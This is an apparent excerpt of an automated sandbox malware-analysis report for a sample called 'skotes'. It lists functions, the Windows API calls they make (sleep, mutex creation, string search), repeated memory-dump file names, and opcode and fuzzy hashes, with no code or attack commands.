Function 009D9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2325104692.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325130475.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325318972.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325450813.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326226081.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326369595.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326392466.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326489783.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326511766.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326535826.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326557056.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326578533.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326599686.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326625191.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326646077.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326664390.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326683930.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326705684.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326728130.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326758169.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326778118.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326800921.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326822605.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326844832.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326869977.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326891202.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326921867.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326953418.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326971860.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326993668.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327014751.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327035031.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327055918.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327078417.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327105729.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327133635.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327218983.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327238246.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327259189.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327279713.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327300655.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327321829.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327344488.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327365139.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5be401f0757aa54181ab0c8aa526c827e105ebe8bcc355ff136fc604550aaf05
Instruction ID: b85a43fb4c9d82551d8233eb2e0d6f1c26be60fa54855817bd65d36e69faec12
Opcode Fuzzy Hash: 5be401f0757aa54181ab0c8aa526c827e105ebe8bcc355ff136fc604550aaf05
Instruction Fuzzy Hash: 41213A327842019BEF18ABACECC9B6DF765EBD5310F20821AF418DB7D5C7758D918611

Function 009DA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2325104692.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325130475.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325318972.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325450813.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326226081.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326369595.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326392466.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326489783.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326511766.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326535826.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326557056.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326578533.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326599686.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326625191.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326646077.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326664390.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326683930.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326705684.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326728130.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326758169.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326778118.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326800921.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326822605.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326844832.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326869977.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326891202.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326921867.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326953418.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326971860.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326993668.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327014751.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327035031.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327055918.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327078417.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327105729.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327133635.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327218983.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327238246.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327259189.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327279713.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327300655.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327321829.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327344488.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327365139.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 69af9e35bb5c52bb66651c18fc60f1c8044eb8c75375537d078d1dcc621e2394
Instruction ID: e3195a514628e2f8517bccf67be47c43924f8242d566895b716bbddc5486d402
Opcode Fuzzy Hash: 69af9e35bb5c52bb66651c18fc60f1c8044eb8c75375537d078d1dcc621e2394
Instruction Fuzzy Hash: 7E213D313C92019AFB2867ED9C9A76DF2569FC1300F24C917F908D63D1DB7A89919163

Function 009DA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2325104692.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325130475.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325318972.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325450813.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326226081.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326369595.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326392466.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326489783.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326511766.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326535826.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326557056.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326578533.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326599686.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326625191.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326646077.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326664390.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326683930.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326705684.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326728130.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326758169.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326778118.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326800921.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326822605.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326844832.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326869977.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326891202.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326921867.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326953418.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326971860.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326993668.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327014751.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327035031.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327055918.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327078417.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327105729.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327133635.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327218983.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327238246.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327259189.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327279713.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327300655.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327321829.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327344488.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327365139.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a71d3c7b7ab4885158c59af9fa21e4993ec5a8e3364ae2ab97ab89903e64a4a1
Instruction ID: 063449bcdd56248a9b5ad71b646bc201f63654faa2d0e6e5435d44a37636fba1
Opcode Fuzzy Hash: a71d3c7b7ab4885158c59af9fa21e4993ec5a8e3364ae2ab97ab89903e64a4a1
Instruction Fuzzy Hash: 3C2179323842019BEF089BACDC8976DF766DBD5310F24861EF408D77D1C7768A908752

Non-executed Functions

Function 009D2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 009D2F5F
__Mtx_unlock.LIBCPMT ref: 009D2FCC
__Cnd_broadcast.LIBCPMT ref: 009D2FE3
__Mtx_unlock.LIBCPMT ref: 009D30F5
__Mtx_unlock.LIBCPMT ref: 009D319B

Memory Dump Source

Source File: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2325104692.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325130475.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325318972.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325450813.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326226081.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326369595.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326392466.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326489783.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326511766.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326535826.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326557056.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326578533.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326599686.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326625191.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326646077.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326664390.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326683930.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326705684.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326728130.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326758169.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326778118.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326800921.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326822605.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326844832.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326869977.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326891202.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326921867.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326953418.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326971860.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326993668.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327014751.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327035031.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327055918.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327078417.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327105729.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327133635.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327218983.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327238246.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327259189.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327279713.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327300655.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327321829.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327344488.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327365139.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: aaeb2ecd1f3921bdbf725b527bb4b50f020e603a35153608321ad392b7f4f219
Instruction ID: 8e8858656a8179b95cccdfcac2b5239f84e7007bf66fe60e426a883a20da9d65
Opcode Fuzzy Hash: aaeb2ecd1f3921bdbf725b527bb4b50f020e603a35153608321ad392b7f4f219
Instruction Fuzzy Hash: 5AA11FB0A45246AFDB21DFA5C84479AB7B8FF55311F00C62AE815D7381EB31EA05CBD2

Function 00A0CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00A0CC66

Memory Dump Source

Source File: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2325104692.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325130475.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325318972.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325450813.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326226081.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326369595.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326392466.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326489783.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326511766.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326535826.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326557056.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326578533.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326599686.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326625191.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326646077.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326664390.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326683930.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326705684.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326728130.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326758169.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326778118.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326800921.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326822605.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326844832.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326869977.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326891202.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326921867.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326953418.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326971860.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326993668.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327014751.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327035031.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327055918.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327078417.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327105729.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327133635.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327218983.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327238246.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327259189.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327279713.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327300655.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327321829.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327344488.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327365139.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 124469340639c694326a8b39252ebb809217ad669817e19aac9aaabbd3da025b
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
